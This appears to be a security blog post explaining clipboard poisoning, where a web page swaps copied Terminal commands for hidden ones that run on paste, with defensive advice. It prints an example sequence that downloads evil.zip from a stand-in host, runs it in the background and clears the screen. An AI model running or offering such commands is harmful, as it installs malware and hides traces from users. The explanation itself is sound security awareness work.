Graham Cluley drew my attention the other day to an issue that has apparently been known to some for years, but was new to me: clipboard poisoning, an issue where a website can replace what you think is on your clipboard with something else.

Although this seems like an insignificant issue on first glance, it turns out that there are some very serious implications.

It turns out that there’s a possibility that this could lead to remote code execution. In other words, it could lead to someone else’s malicious code being run on your computer without your knowledge!

Once malicious code has been run on your computer, that code can download and install other processes, and in no time, your Mac has been pwned.

The key to this issue lies with any code that the user might copy from a website, then copy somewhere else in such a way that it is automatically executed. It turns out that this is possible with shell scripts pasted into the Terminal.

As an example, consider the following command, which is commonly cited as a way to make your Mac show hidden files:

defaults write com.apple.finder AppleShowAllFiles TRUE; killall Finder

If you Google “Mac show hidden files,” you’ll find countless sites with variations of this command, and your obvious inclination would be to copy such a long command and paste it into the Terminal.

In fact, some sites explicitly tell you to do just that. After all, typos in shell commands can have devastating consequences, so it ought to be safer to copy and paste these commands, right?

Not so fast. Enter Dylan Ayrey, who discovered a way to use JavaScript to inject malicious commands into a copied shell script. On his proof-of-concept webpage, copying the following innocuous shell command and pasting it into the Terminal results in something completely different:

echo "not evil"

clipboard poisoning 1

It’s important to understand that, in this example, I did not press return to execute the command. It executed all by itself the instant I pasted.

How does this work? The first part involves replacing what you copied with something else. Ayrey’s page uses a JavaScript, triggered a short time after any keypress (such as pressing command-C or control-C), to set the clipboard contents. Fortunately, this appears not to work in Safari, but it works just fine in Chrome or Firefox.

The next step requires that a newline character be included in the text added to the clipboard. When pasted into the Terminal, that newline character acts just like pressing return on the keyboard would.

It’s pretty easy to see that this could be exploited in some very bad ways. Consider, for example, the following:

mkdir ~/.evil
cd ~/.evil
curl http://evilserver.com/evil.zip --output evil.zip --silent
unzip evil.zip
./evil &
cd ~
clear
defaults write com.apple.finder AppleShowAllFiles TRUE; killall Finder

This sequence of commands could be substituted for the text the user thought he/she was copying. The result, when pasted into the Terminal, would be that all but one of these commands would be executed automatically. First, a hidden directory would be created in the user’s folder and a file downloaded into it. That file would then be unzipped and executed to run in the background.

Then, the Terminal window’s contents would be cleared, to hide the evidence of wrongdoing, and the final command – the one the user was expecting to paste in – is left on the command line, waiting for the user to press return.

I tested this script with a small sample .zip file, and there was a barely visible flicker in the Terminal. The only significant evidence that something odd had happened was that the Terminal display had cleared, which someone unfamiliar with the Terminal might not know isn’t supposed to happen.

Fortunately, Ayrey’s JavaScript exploit doesn’t work in Safari. But don’t get too comfortable… Ayrey refers to an older exploit that can be accomplished with mere HTML and CSS. This trick uses special styling to hide a chunk of text in the middle of a line containing a shell script, and could easily be abused in the same manner as Ayrey’s JavaScript. Unfortunately, this older trick is still alive and well, and works not only in Chrome and Firefox, but in Safari as well.

So what does this mean to the average Mac user? First and foremost, it’s important to understand that it’s not as safe as it seems to copy Unix shell commands from a website and paste them into the Terminal. As demonstrated here, doing so can be quite dangerous, and could result in your machine becoming infected with malware. Even if you feel that a site should be trustworthy, there’s still no guarantee that the site hasn’t been hacked.

Fortunately, there is one easy thing you can do to protect yourself when you need to copy shell commands from a website. Simply check any commands that you copy before pasting them, to make sure they look like they’re supposed to. This can be done by pasting into another app, such as TextEdit, or by choosing Show Clipboard from the Edit menu in the Finder.

Ayrey mentions the use of iTerm as a Terminal replacement, which will warn you if a command ends with a newline character. However, the current version of iTerm didn’t protect against the lengthy series of commands from my sample above, allowing it to run unimpeded since it doesn’t actually end with a newline.

I’m not aware of any actual exploits of this issue in the wild, but it certainly is possible… especially now that mainstream security blogs are picking up the story and drawing attention to it. It would not surprise me in the least to see malicious examples of this in the real world in the future.